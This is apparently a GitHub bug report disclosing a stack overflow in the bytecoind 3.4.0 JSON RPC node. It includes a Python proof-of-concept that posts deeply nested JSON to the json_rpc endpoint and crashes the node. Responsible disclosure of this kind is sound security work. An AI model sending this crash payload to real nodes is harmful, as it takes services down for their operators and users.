Skip to content

Stack Overflow in JSON RPC node 3.4.0 #103

@ghost

Description

There is a stack overflow bug when parsing nesting objects.

Steps to reproduce:
With debugger attached :

  • run bytecoind.exe --bytecoind-bind-address=127.0.0.1:8081
  • run the attached python code
  • you should observe the node crash

Attached python code:

import urllib2  
  
def post(url, data):  
    req = urllib2.Request(url)   
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())  
    response = opener.open(req, data)  
    return response.read()  
  
def main():  
    posturl = "http://127.0.0.1:8081/json_rpc"  
    data = '{"' + '}' * 0x10100 + '":' + '{"x":' * 0x10000 + '"}'
    print post(posturl, data)  
  
if __name__ == '__main__':  
    main() ```

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions